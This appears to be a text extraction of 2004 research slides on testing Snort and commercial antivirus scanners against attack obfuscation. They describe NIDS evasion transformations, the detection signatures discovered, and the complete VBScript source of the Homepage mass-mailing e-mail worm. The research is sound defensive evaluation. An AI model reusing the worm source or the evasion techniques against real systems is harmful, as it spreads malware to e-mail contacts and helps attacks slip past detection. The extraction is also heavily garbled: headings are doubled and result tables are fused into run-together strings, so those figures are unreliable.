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Threat Model MethodologyThreat Model Methodology
Question:

Given a security system, does this system achieve 
its goals?

• Commonly used: protocol verification, construction 
of attack graphs

• Commonly not used: NIDS, AV, HIDS

SecuritySecurity
SystemSystem

System System 
ModelModel

ThreatThreat
ModelModel

Sasser

DDoS
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Threat Model CharacteristicsThreat Model Characteristics

• Representation of 
attacker knowledge

• Structure of the 
attack space

• Exploration of the 
attack space

• Results

AntiVirusNIDS
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NIDS: State of the ArtNIDS: State of the Art

NIDS

no alert

True negative

Attacker Victim

Signature database

attack ATTACK

alert

True positive

alert

False positive

no alert

False negative

A current NIDS is untrustworthy:
• wastes our time
• provides false sense of security
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TCP streams
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TCP streams

Threat: NIDS View Point Threat: NIDS View Point 

Sasser

Formal Attack 
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instances 

Reported 
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(Sasser
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All

detected!
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TCP streams

This Talk: Testing NIDSThis Talk: Testing NIDS

Sasser

Formal Attack 
Specification

NIDS 

Reported 
Attacks

Sasser
instances 

Reported 
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(Sasser
alarms)

Solution:

Develop a Threat-
Model Methodology 
for NIDS testing.

Solution:

Develop a Threat-
Model Methodology 
for NIDS testing.

Quality 
(trustworthiness) 

of NIDS

Quality 
(trustworthiness) 

of NIDS
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Approach Approach 
• Build a model for attacker’s knowledge
• Use this knowledge to explore the space of 

attack instances
• Hopefully, find an instance that eludes a 

NIDS   
TCP streams

Attacker’s
knowledge

Reported 
attacks

(Sasser
instances)

(Sasser alarms)
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Rookie Attacker Rookie Attacker 

attack

att ack

att ackack
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benign attack benign

attack

Fragmentation

Retransmission

Out-of-order

Padding

Replacement

Context padding

Transformation

Transport 
level
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level
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Veteran AttackerVeteran Attacker
attack

a t t a c k

benign a t t a c k benign

nigna c k bet tbenign a

nigna c k bet tbenign a t t

nign a c k bet t benign at t

Padding

Context Padding

Fragmentation

Retransmission

Permutation



16 August 2004 11Mihai Christodorescu - WiSA

HighHigh--tech Attackertech Attacker

TCP streams
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Summary: Attackers’ KnowledgeSummary: Attackers’ Knowledge
• Transformations are simple
• Transformations are semantic-preserving
• Transformations are independent
• Transformations are syntactic 

manipulations
• Transformations can be combined

TCP streams

X
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Natural deduction: a set of rules expressing how 
valid proofs may be constructed.

– Rules are simple
– Rules are sound
– Rules are independent 
– Rules are syntactic transformations
– Combination of rules derives theorems

NIDS attacker’s knowledge:
Rules = attack transformations
Rule combinations = attack instances

Conjunction: 

(if both P and Q are true 
then also P∧Q is true)

QP
Q     P

∧

Using Natural DeductionUsing Natural Deduction

Fragmentation: 

(if A is an attack instance 
then any fragmentation of 
A is also an attack 
instance)

attack

ackatt
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Threat Model CharacteristicsThreat Model Characteristics
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Attack Derivation Model
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Testing MethodologyTesting Methodology
• Rules

– Transport level (TCP)
– Application level (FTP, finger, HTTP)
– Total of nine rules

• Representative attacks
– finger (finger root)
– HTTP (perl-in-CGI)
– FTP  (ftp-cwd)

• Testing phases
– 7 phases
– 2-3 rules each phase

Transformation
Rules

Representative 
Attack

Inference 
Engine

Attack
Closure

Snort Detect?

Yes, check another

Eluding
Instance

No

Attack 
Simulator

Attack
Instance
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Testing SummaryTesting Summary

TCP: TCP: fragfrag
FTP: paddingFTP: padding

HTTP pipeliningHTTP pipelining

HTTP paddingHTTP padding

TCP: TCP: fragfrag + + 
permutepermute

finger: paddingfinger: padding

finger: paddingfinger: padding

TCP: TCP: fragfrag + + 
permute+permute+
retransretrans

TCP: TCP: fragfrag + + 
permutepermute

Rules Vulnerabilities% of eluding 
instancesInstancesAttackPhase

1123%23%178,585178,585ftpftp--cwdcwd77

1199%99%100100perlperl--inin--
cgicgi66

1199%99%677,960677,960perlperl--inin--
cgicgi55

110.15%0.15%6,812,3466,812,346FingerFinger44

000%0%2525FingerFinger33

1133%33%3,628,9603,628,960FingerFinger22

000%0%1,6311,631fingerfinger11
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Vulnerabilities FoundVulnerabilities Found

HTTP paddingHTTP padding

Hide any attack of that its Hide any attack of that its 
signature is of the form signature is of the form 
““foo*barfoo*bar””

Hide any HTTPHide any HTTP--based attack based attack 

Hide any attack that its Hide any attack that its 
signature can be inflated (i.e. signature can be inflated (i.e. 
pad) pad) 

Hide any TCPHide any TCP--based attackbased attack

Enables attackers to:

NONO
HTTP pipeliningHTTP pipelining

Yes, Yes, 
v.2.0.6v.2.0.6FTP paddingFTP padding

NONOFlushingFlushing

Yes, Yes, 
v2.0.2v2.0.2Evasive RSTEvasive RST

FixedName
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FTP Padding VulnerabilityFTP Padding Vulnerability

CWD <4000 bytes>\n
A. “CWD” and (¬”\n”) 

with 100 bytes
B. TCP.length>100

CWD /tmp\n CWD <4000   ...   bytes>\n

ytes>\n...CWD /tmp\n CWD <4000

Detected: A∧B

Detected: A

Not detected

Vulnerability: any pattern from the type foo*bar

ytes>\n...CWD /tmp\nCWD <4000
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Results summaryResults summary
• 5 vulnerabilities in less then 2 months

• Positive results: verify that Snort correctly 
identify all instances of a given type.

• Why is AGENT successful?
– Systematic combination of application and 

transport level rules 
– Exhaustiveness (in some cases)
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Threat Model CharacteristicsThreat Model Characteristics
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Goal: Compute Any Attack InstanceGoal: Compute Any Attack Instance
• Is the initial instance 

unique?TCP streams
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Goal: Compute Any Attack InstanceGoal: Compute Any Attack Instance
• Is the initial instance 

unique?TCP streams

• Are there derivation 
cycles?

• Is there a unique 
derivation path to each 
node?

• Are all attack instances 
derivable from each 
other?



16 August 2004 26Mihai Christodorescu - WiSA

TCP streams

Goal: Compute All Attack InstancesGoal: Compute All Attack Instances

If they are not, how can they be the 
same attack?

Are all attack instances 
derivable from each other?

No, can be avoided by choosing an 
appropriate application order of 
rules

Is there a unique derivation 
path to each node?

Yes, can be avoided by choosing an 
appropriate application order of 
rules

Are there derivation cycles?

Yes, with respect to the rules and 
attacks we investigated

Is the initial instance unique?

• If these answers can be generalized to other 
rules and attacks, we have a computational model 
for attack instances.
• Such a model can be a tool to analyze, debug, 
verify NIDS.
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What to Take HomeWhat to Take Home
• Thesis: formal models can be used to improve a 

NIDS, increasing its trustworthiness
• Support for the thesis:

– Formal model for attack computation
– Practical testing tool
– Practical attack analysis 

• Future work:
– Partitioning testing based on computational model (not 

presented)
– Signature compiler
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Threat Model CharacteristicsThreat Model Characteristics
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Virus DetectorsVirus Detectors
A malware detector identifies malicious 
content (data, code).
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Attacker ModelAttacker Model
• An attacker tries to make malware appear 

benign.

• Obfuscation: same functionality, different 
form.

• Malware writers have many tools at their 
disposal

– Blackhat tools: MISTFALL, CB Mutate, ...
– Commercial tools: Cloakware, PECompact, ...
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Renaming ObfuscationRenaming Obfuscation

On Error Resume Next
...
Set will=rumor.OpenTextFile(WScript.ScriptFullname,1)
...
Set ego=rumor.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)

Obfuscated fragment of Homepage e-mail worm:

Fragment of Homepage e-mail worm:
On Error Resume Next
...
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
...
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
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Encapsulation ObfuscationEncapsulation Obfuscation
Fragment of the Homepage worm:

Obfuscated fragment of the Homepage worm:

Execute( decode( "4F6E20457272...6F7220526573" ) )
...
Execute( decode( "66657226496E...462E52656164" ) )
...
Execute( decode( "4C696E652676...6263726C660A" ) )

Execute( decode( "4F6E20457272...6F7220526573" ) )

On Error Resume Next
...
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
...
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)

decode( "4F6E20457272...6F7220526573" )"4F6E20457272...6F7220526573"
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How Detection WorksHow Detection Works
Virus detectors are malware detectors that 
use signatures to identify malicious code.

On Error Resume Next
...
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
...
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)

McAfee VirusScan signature for the Homepage worm:
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Sample Virus SignatureSample Virus Signature
On Error Resume Next

Set WS = CreateObject("WScript.Shell")

Set FSO= Createobject("scripting.filesystemobject")

Folder=FSO.GetSpecialFolder(2)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)

Do While InF.AtEndOfStream<>True

ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf

Loop

Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)

OutF.write ScriptBuffer

OutF.close

Set FSO=Nothing

If WS.regread ("HKCU\software\An\mailed") <> "1" then

Mailit()

End If

Set s=CreateObject("Outlook.Application")

Set t=s.GetNameSpace("MAPI")

Set u=t.GetDefaultFolder(6)

For i=1 to u.items.count

If u.Items.Item(i).subject="Homepage" Then

u.Items.Item(i).close

u.Items.Item(i).delete

End If

Next

Set u=t.GetDefaultFolder(3)

For i=1 to u.items.count

If u.Items.Item(i).subject="Homepage" Then

u.Items.Item(i).delete

End If

Next

Randomize

r=Int((4*Rnd)+1)

If r=1 then

WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm")

elseif r=2 Then

WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm")

elseif r=3 Then

WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm"
)

ElseIf r=4 Then

WS.Run("http://sheila.issexy.tv/1.htm")

End If

Function Mailit()

On Error Resume Next

Set Outlook = CreateObject("Outlook.Application")

If Outlook = "Outlook" Then

Set Mapi=Outlook.GetNameSpace("MAPI")

Set Lists=Mapi.AddressLists

For Each ListIndex In Lists

If ListIndex.AddressEntries.Count <> 0 Then

ContactCount = ListIndex.AddressEntries.Count

For Count= 1 To ContactCount

Set Mail = Outlook.CreateItem(0)

Set Contact = ListIndex.AddressEntries(Count)

Mail.To = Contact.Address

Mail.Subject = "Homepage"

Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this 
page!

It's really cool ;O)"&vbcrlf&vbcrlf

Set Attachment=Mail.Attachments

Attachment.Add Folder & "\homepage.HTML.vbs"

Mail.DeleteAfterSubmit = True

If Mail.To <> "" Then

Mail.Send

WS.regwrite "HKCU\software\An\mailed", "1"

End If

Next

End If

Next

End if

End Function
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AV Testing Goal: AV Testing Goal: ResilienceResilience

Question 1:
• How resistant is a virus scanner to 

obfuscations or variants of known worms?

Question 2:
• Using the limitations of a virus scanner, can 

a blackhat determine its detection 
algorithm?
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AV Testing MethodologyAV Testing Methodology
1. Random testing for resilience assessment

Use obfuscation transformations to 
generate worm instances to be used as test 
samples.

2. Adaptive testing for signature discovery
Use virus scanner detection rates on 
obfuscated worm instances to learn the 
signature employed.
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1.1. AV Random testingAV Random testing

Obfuscation
Algorithm
Obfuscation
Algorithm
Obfuscation
Algorithm
Obfuscation
Algorithm

Parameter
Generator

Obfuscated
Worm

Virus
Scanner

Worm

Detected /
Not detected

Variable renaming
Code encapsulation
Garbage insertion
Code reordering
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1.1. AV Random testingAV Random testing

Original worm

Obfuscated instances

4432Total

512Not detected

3390Detected

Homepage worm in Norton AV

False Negative Rate: 11.5%

Renaming

Reordering

Garbage
insertion
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AV False Negative RateAV False Negative Rate
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Homepage Lucky2 GaScript Yovp

Norton AntiVirus Sophos Antivirus McAfee Virus Scan

 

by Wormby WormSophos cannot cope 
with obfuscations.

No improvement 
over time.
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AV False Negative RateAV False Negative Rate
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by Wormby WormWild variation in 
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2.2. AV Adaptive TestingAV Adaptive Testing
Signature discovery algorithm finds the 
malware statements that, when obfuscated, 
create an undetectable malware variant.

We need an opaque obfuscation 
transformation.

KK-1…21
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Discovered AV SignaturesDiscovered AV Signatures
• Worm sample: Homepage

On Error Resume Next
Set InF = FSO.OpenTextFile(

WScript.ScriptFullname, 1 )
Set OutF = FSO.OpenTextFile( Folder &

"\homepage.HTML.vbs", 2, true )

Sophos Antivirus
The whole body of the malware.

McAfee Virus Scan

Attachment.Add Folder & "\homepage.HTML.vbs"

Norton AntiVirus

Homepage

Norton AntiVirus
Sophos Antivirus
McAfee Virus Scan
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What If...What If...
• A virus writer uses signature information to 

thwart virus scanners.
– Each virus variant can now evade detection.
– Viruses can repeatedly try to enter a system, 

learning the signature in the process.
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Lessons LearnedLessons Learned
• Obfuscation-based testing techniques are 

useful in comparing virus scanners.
• Commercial virus scanners have poor 

resilience to common obfuscation 
transformations.

• The road ahead:
– Apply threat-model testing methodology to 

binary malware (using BREW)
– Refine signature discovery algorithm
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ConclusionsConclusions
• Threat-model methodology has wide 

applicability:
– Assessment of NIDS
– Assessment of virus detectors

• Threat model for NIDS and threat model 
for virus detectors are complementary:
– NIDS model: network data transformations
– AV model: program obfuscation transformations
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